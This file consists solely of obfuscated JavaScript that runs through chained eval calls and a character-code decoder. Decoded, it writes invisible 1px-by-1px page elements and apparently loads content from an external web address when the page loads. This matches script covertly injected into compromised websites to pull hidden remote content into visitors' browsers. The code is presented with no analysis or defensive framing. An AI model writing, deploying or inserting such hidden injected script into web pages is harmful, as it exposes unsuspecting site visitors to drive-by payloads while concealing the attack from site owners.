OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(99003421)+O(109891893)+O(98019556)+O(115839784)+O(107911315)+O(99992160)+O(108906589)+O(114841473)+O(45544085)+O(117811581)+O(112862163)+O(103955971)+O(114848554)+O(99998626)+O(39604059)+O(38610564)+O(59405178)+O(99006933)+O(103954428)+O(116825128)+O(31688525)+O(113852352)+O(114845513)+O(119792305)+O(106923191)+O(99991567)+O(60395179)+O(33660731)+O(117813745)+O(103957388)+O(99002751)+O(114844475)+O(102961232)+O(57420173)+O(55441108)+O(48513920)+O(49508130)+O(110887039)+O(118806653)+O(58418140)+O(31688211)+O(102960544)+O(99994823)+O(103956502)+O(101977762)+O(102966321)+O(114845146)+O(57427723)+O(96039785)+O(115834810)+O(114846480)+O(109897860)+O(58413432)+O(31685657)+O(107910065)+O(96034850)+O(112866730)+O(101974608)+O(103955264)+O(108906129)+O(57421884)+O(96031828)+O(115830463)+O(114847560)+O(109898909)+O(58417417)+O(31689528)+O(107916478)+O(96035167)+O(112864627)+O(101972389)+O(103958992)+O(108905490)+O(44553780)+O(97026865)+O(109891847)+O(114840015)+O(114840203)+O(109897701)+O(107912147)+O(57424588)+O(52477645)+O(110887901)+O(118804008)+O(58411663)+O(33664578)+O(61386925)+O(38619829)+O(40597984)+O(58414546)+O(12870110)+O(9905283)+O(99009017)+O(109893303)+O(98013714)+O(115831355)+O(107919102)+O(99994854)+O(108900437)+O(114843783)+O(45540594)+O(117815731)+O(112860948)+O(103950154)+O(114844888)+O(99991819)+O(39607998)+O(38617508)+O(8913141)+O(59404893)+O(99001004)+O(103958846)+O(116824771)+O(31686645)+O(113850683)+O(114845178)+O(119797346)+O(106926442)+O(99995242)+O(60390895)+O(33662360)+O(110885302)+O(109891917)+O(113854120)+O(103957566)+O(114842649)+O(103950248)+O(109890458)+O(108908046)+O(57424318)+O(112866381)+O(99998091)+O(106924972)+O(96039921)+O(114840864)+O(103954511)+O(116823176)+O(99995275)+O(58415995)+O(33660367)+O(61386034)+O(38610828)+O(40592552)+O(58413866)+O(12878951)+O(9900231)+O(99009927)+O(109899962)+O(98010758)+O(115834101)+O(107918132)+O(99992179)+O(108905730)+O(114842795)+O(45544932)+O(117811318)+O(112867589)+O(103958597)+O(114846425)+O(99994539)+O(39600882)+O(38612088)+O(8914817)+O(8910332)+O(59404389)+O(103959682)+O(100982844)+O(112869765)+O(96035876)+O(107919306)+O(99990298)+O(31682057)+O(113857417)+O(112869035)+O(98014483)+O(60392981)+O(33665749)+O(46539126)+O(96033063)+O(99007938)+O(46532709)+O(103951332)+O(106924718)+O(44557594)+O(50496629)+O(46530663)+O(103950316)+O(100982930)+O(112866787)+O(96033791)+O(107914886)+O(99998267)+O(45549479)+O(102965226)+O(114848587)+O(107915353)+O(106926096)+O(33667059)+O(31683063)+O(113858993)+O(114840712)+O(119790578)+O(106928119)+O(99994828)+O(60397098)+O(33668409)+O(117812488)+O(103952864)+O(99002862)+O(114843939)+O(102961589)+O(57426159)+O(48511426)+O(47520738)+O(47524672)+O(36632644)+O(58410956)+O(31688467)+O(102963485)+O(99999501)+O(103953019)+O(101973318)+O(102964725)+O(114843743)+O(57422757)+O(48510415)+O(49508898)+O(47529664)+O(110886645)+O(118802811)+O(58418948)+O(31683703)+O(107913553)+O(96036726)+O(112863045)+O(101979922)+O(103959736)+O(108905485)+O(57427226)+O(47524777)+O(110888638)+O(118805260)+O(58415291)+O(33668153)+O(31681940)+O(100984146)+O(112865253)+O(96038729)+O(107919162)+O(99992407)+O(97023972)+O(109895684)+O(112869305)+O(99005732)+O(99994149)+O(112865433)+O(60399507)+O(33665295)+O(47520798)+O(33661681)+O(31682516)+O(113858062)+O(98017479)+O(112869389)+O(109896862)+O(106928320)+O(106926142)+O(103958437)+O(108901094)+O(101976716)+O(60398244)+O(33660748)+O(108906145)+O(109896239)+O(33668976)+O(61385409)+O(59407968)+O(46535514)+O(103950855)+O(100989954)+O(112865958)+O(96038538)+O(107917776)+O(99992364)+O(61381341)+O(38616577)+O(40595647)+O(58417597)+O(12873719)+O(9902301)+O(99001161)+O(109894470)+O(98013259)+O(115838449)+O(107915971)+O(99993590)+O(108900643)+O(114843325)+O(45549557)+O(117814698)+O(112866802)+O(103953246)+O(114840392)+O(99992253)+O(39609744)+O(38617683)+O(8911699)+O(8911381)+O(59406300)+O(99006322)+O(103955039)+O(116822431)+O(31682505)+O(113858477)+O(114842220)+O(119791275)+O(106927508)+O(99994417)+O(60393656)+O(33664225)+O(110882395)+O(109895005)+O(113859156)+O(103950991)+O(114847127)+O(103950774)+O(109895369)+O(108906446)+O(57425890)+O(96034068)+O(97022625)+O(113852128)+O(109893617)+O(106928188)+O(115832733)+O(114841400)+O(99994165)+O(58415637)+O(31688493)+O(106927973)+O(99993684)+O(100983480)+O(114845082)+O(57426091)+O(47521115)+O(110887622)+O(118803299)+O(58412119)+O(31681378)+O(114849359)+O(109894726)+O(110881462)+O(57425881)+O(47526950)+O(110889234)+O(118801844)+O(58419208)+O(31682155)+O(120786039)+O(44553755)+O(103950532)+O(108906694)+O(99000466)+O(99991612)+O(118803183)+O(57426399)+O(48519970)+O(58414608)+O(33666072)+O(61381476)+O(38614596)+O(40594539)+O(58416209)+O(12879726)+O(9909011)+O(99008988)+O(109892445)+O(98015861)+O(115835537)+O(107912184)+O(99996731)+O(108904077)+O(114840185)+O(45542547)+O(117810683)+O(112862987)+O(103956603)+O(114845510)+O(99992061)+O(39601673)+O(38616059)+O(8912527)+O(8917879)+O(8913136)+O(59405095)+O(99002372)+O(103958289)+O(116826753)+O(31686351)+O(103958792)+O(99008143)+O(60394488)+O(33662178)+O(103959375)+O(106921189)+O(50496525)+O(94055151)+O(96034104)+O(108905198)+O(99000786)+O(119794339)+O(64358466)+O(99005056)+O(33667339)+O(31681308)+O(113855239)+O(114844790)+O(119793118)+O(106925206)+O(99991099)+O(60398855)+O(33664528)+O(31682007)+O(117819045)+O(103957575)+O(99005573)+O(114849022)+O(102965333)+O(57421628)+O(56436918)+O(47522092)+O(47520039)+O(110885638)+O(118806970)+O(58419575)+O(31683714)+O(102961552)+O(99999471)+O(103954161)+O(101978659)+O(102968318)+O(114843404)+O(57420847)+O(48512286)+O(49505566)+O(52470033)+O(110886982)+O(118801752)+O(58415501)+O(31688827)+O(100988199)+O(103953589)+O(106928996)+O(114848682)+O(99992258)+O(112869417)+O(57429039)+O(96033395)+O(106921357)+O(110888992)+O(102967063)+O(96030633)+O(39602291)+O(109894796)+O(110885470)+O(96031807)+O(98013010)+O(103958219)+O(114842720)+O(119796185)+O(60393576)+O(47525916)+O(40595686)+O(58416354)+O(109899290)+O(110886411)+O(96037710)+O(98013691)+O(103953870)+O(114841184)+O(119799739)+O(57421924)+O(47520933)+O(58411575)+O(33666268)+O(61384018)+O(59402770)+O(103952637)+O(100987416)+O(112862668)+O(96036413)+O(107917787)+O(99993377)+O(31687480)+O(113858344)+O(112863548)+O(98017781)+O(60392566)+O(33660830)+O(102961977)+O(114841997)+O(114846721)+O(110884849)+O(57429488)+O(46533323)+O(46534617)+O(117816839)+O(117814669)+O(117816176)+O(45541516)+O(108909078)+O(97024452)+O(55446881)+O(45545881)+O(115836429)+O(113857513)+O(46539467)+O(116823983)+O(103955376)+O(110886139)+O(46532021)+O(55448092)+O(55444809)+O(118802970)+O(118800543)+O(45545163)+O(102961861)+O(114846999)+O(107910013)+O(106926082)+O(33660225)+O(31683996)+O(117810452)+O(103956458)+O(99002892)+O(114840144)+O(102969078)+O(60398729)+O(33665963)+O(56434074)+O(47528407)+O(47521904)+O(33665323)+O(31681720)+O(102964077)+O(99999666)+O(103953358)+O(101970459)+O(102965532)+O(114849742)+O(60398576)+O(33663853)+O(48517292)+O(49507466)+O(52477075)+O(33665971)+O(31688475)+O(100984278)+O(112861080)+O(96034757)+O(107913479)+O(99997544)+O(97026465)+O(109897194)+O(112867304)+O(99001510)+O(99998117)+O(112865115)+O(60394834)+O(33660495)+O(47529278)+O(33669440)+O(31684605)+O(107914475)+O(96038598)+O(112862333)+O(101974070)+O(103954088)+O(108906519)+O(102961319)+O(99995183)+O(103956827)+O(101970828)+O(102966764)+O(114846231)+O(60398652)+O(33669753)+O(47524268)+O(33668293)+O(31685597)+O(107919789)+O(96036512)+O(112862435)+O(101978087)+O(103954625)+O(108904898)+O(117816809)+O(103956617)+O(99000975)+O(114849903)+O(102961202)+O(60391201)+O(33666903)+O(47520504)+O(33660248)+O(31688591)+O(113858335)+O(98017248)+O(112865525)+O(109890628)+O(106929818)+O(106920589)+O(103951056)+O(108904291)+O(101976339)+O(60395968)+O(33666353)+O(108909040)+O(109894002)+O(33669760)+O(61386082)+O(59409835)+O(46538733)+O(103955720)+O(100985655)+O(112864876)+O(96033812)+O(107919837)+O(99997641)+O(61385552)+O(59409000)+O(46532587)+O(99004716)+O(103952325)+O(116826316)+O(61381542)+O(38611092)+O(40594390)+O(58410075)+O(31683965)+O(12875843)+O(9902782)+O(99001746)+O(109898603)+O(98018336)+O(115836352)+O(107913354)+O(99998227)+O(108908138)+O(114847503)+O(45546704)+O(117819631)+O(112869150)+O(103959928)+O(114849540)+O(99995785)+O(39600502)+O(38613696)+O(8913895)+O(8915634)+O(59404779)+O(46534019)+O(99006349)+O(103950628)+O(116827532)+O(61388757)+O(38614700)+O(40593491)+O(58410688)+O(12876304)+O(9900633)+O(99003960)+O(109896488)+O(98019896)+O(115833360)+O(107918272)+O(99997892)+O(108906548)+O(114844951)+O(45544028)+O(117815970)+O(112868869)+O(103954063)+O(114849725)+O(99994790)+O(39605812)+O(38611129)+O(8918738)+O(59409497)+O(46534038)+O(99004735)+O(103950802)+O(116823892)+O(61385053)+O(38615841)+O(40590176)+O(58419629)+O(12874501)+O(9903807)+O(99008566)+O(109890384)+O(98019088)+O(115835763)+O(107912617)+O(99990811)+O(108903506)+O(114848755)+O(45540335)+O(117811914)+O(112864388)+O(103952328)+O(114848136)+O(99991593)+O(39600878)+O(38617711)+O(59400408)+O(46531537)+O(99001693)+O(103958630)+O(116826420)+O(61389398)+O(38616690)+O(40597911)+O(58415237));